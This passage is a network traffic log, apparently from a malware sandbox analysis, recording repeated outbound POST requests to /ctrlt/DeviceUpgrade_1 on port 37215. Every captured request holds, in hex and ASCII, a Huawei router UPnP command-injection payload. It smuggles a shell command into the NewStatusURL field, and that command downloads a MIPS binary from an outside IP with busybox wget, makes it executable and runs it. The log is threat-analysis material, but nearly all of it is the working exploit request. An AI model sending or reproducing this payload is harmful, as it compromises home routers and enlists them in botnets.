                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:19.993220091 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:21.913137913 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:25.721035004 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:33.400888920 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:48.760535955 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                531192.168.2.1538688156.241.13.21937215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:18.701143980 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:20.313276052 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:22.233134031 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:22:26.233012915 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
